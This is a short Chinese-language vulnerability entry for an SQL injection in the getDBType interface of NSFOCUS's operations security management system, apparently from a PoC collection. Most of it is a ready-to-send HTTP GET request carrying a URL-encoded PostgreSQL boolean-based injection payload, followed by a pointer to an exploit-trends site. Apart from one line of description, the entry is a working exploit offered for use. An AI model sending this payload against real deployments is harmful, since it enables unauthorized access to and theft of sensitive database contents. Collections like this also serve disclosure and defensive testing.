Description
绿盟运维安全管理系统 getDBType 接口存在SQL注入漏洞，攻击者可利用此漏洞获取数据库敏感信息。
绿盟运维安全管理系统 getDBType 存在SQL注入漏洞
PoC
GET /webconf/log/getDBType?cat=espc&sid=7473a85e535405e7bd991cb82b2f134c&sql=(SELECT+(CHR(126)%7C%7CCHR(126)%7C%7CCHR(122)%7C%7CCHR(107)%7C%7CCHR(113))%7C%7C(SELECT+(CASE+WHEN+(3788%3D3788)+THEN+1+ELSE+0+END))%3A%3Atext%7C%7C(CHR(113)%7C%7CCHR(112)%7C%7CCHR(112)%7C%7CCHR(113)%7C%7CCHR(113))) HTTP/1.1
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.